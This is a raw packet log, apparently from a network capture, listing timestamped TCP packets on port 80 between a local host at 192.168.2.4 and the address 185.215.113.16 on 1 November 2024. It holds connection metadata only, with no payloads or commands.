Nov 1, 2024 10:56:11.299885988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299896955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299905062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299909115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299920082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299932957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299933910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299947023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299958944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299968958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299972057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299983025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.299988031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.299994946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300007105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300008059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300019026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300026894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300059080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300712109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300729036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300739050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300750017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300760984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300760984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300774097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300786972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300791025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300801992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300806046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300812960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300823927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300834894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300837040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300848007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300854921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300858974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300869942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300880909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300885916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300892115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300903082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300910950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300915003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300926924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300926924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300940037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300942898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300951958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300962925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300975084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.300985098 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.300987005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301000118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301006079 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301048994 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301640034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301651001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301661968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301671982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301683903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301683903 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301697016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301707029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301708937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301729918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301733017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301742077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301750898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301752090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301763058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301773071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301774979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301784992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301798105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301803112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301809072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301820040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301821947 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301831007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301837921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301862955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301873922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301884890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301896095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301898956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301903009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301908970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301909924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.301918983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.301944971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302612066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302623987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302633047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302645922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302653074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302656889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302670002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302679062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302690983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302695036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302702904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302714109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302721024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302727938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302737951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302748919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302750111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302762032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302772045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302776098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302787066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302798986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302803040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302809954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302824974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302828074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302835941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302848101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302858114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302860022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302871943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302875042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302882910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302892923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302896023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302907944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.302939892 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.302957058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303558111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303570032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303580046 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303591013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303600073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303601980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303613901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303626060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303632975 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303643942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303651094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303654909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303666115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303677082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303678989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303688049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303699970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303699970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303713083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303720951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303724051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303735018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303746939 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303747892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303761005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303769112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303771973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303783894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303795099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303796053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303807974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303819895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303819895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303832054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.303839922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.303865910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304548025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304564953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304575920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304586887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304598093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304598093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304610014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304620028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304620981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304631948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304642916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304646015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304655075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304661989 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304666042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304678917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304691076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304702044 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304713011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304722071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304724932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304733038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304735899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304748058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304750919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304760933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304773092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304774046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304784060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304792881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304794073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304805040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304811001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304816008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304826975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304833889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304837942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304848909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304850101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304861069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304868937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304873943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304886103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304897070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304908991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.304914951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304934978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.304950953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.305336952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.354523897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:11.586751938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:11.586824894 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.058832884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.058932066 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.433675051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438640118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438653946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438666105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438709974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438725948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438738108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438746929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438759089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438798904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438831091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438842058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438853979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438889027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438927889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438940048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438949108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438960075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438970089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438978910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.438982964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.438993931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439012051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439042091 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439172029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439374924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439384937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439393997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439407110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439419031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439424992 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439429998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439441919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439457893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439469099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439480066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439488888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439490080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439491034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439502954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439515114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439519882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439526081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439538002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439538002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439551115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439565897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439584970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439868927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439879894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439897060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439908981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439919949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439924955 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439935923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439948082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439958096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439969063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439971924 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.439980030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439990997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.439990997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440001011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440012932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440025091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440026999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440037012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440047979 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440067053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440090895 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440471888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440481901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440491915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440501928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440512896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440524101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440535069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440541983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440546036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440560102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440576077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440584898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440587997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440598965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440604925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440609932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440622091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440632105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440642118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440644026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440666914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440677881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440680981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440681934 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440689087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440701008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440712929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440723896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440735102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440745115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440745115 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440757036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440768003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.440783024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440823078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.440823078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441459894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441472054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441482067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441493988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441504002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441515923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441518068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441526890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441545010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441555977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441559076 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441567898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441580057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.441581011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.441591024 CET	80	49738	185.215.113.16	192.168.2.4
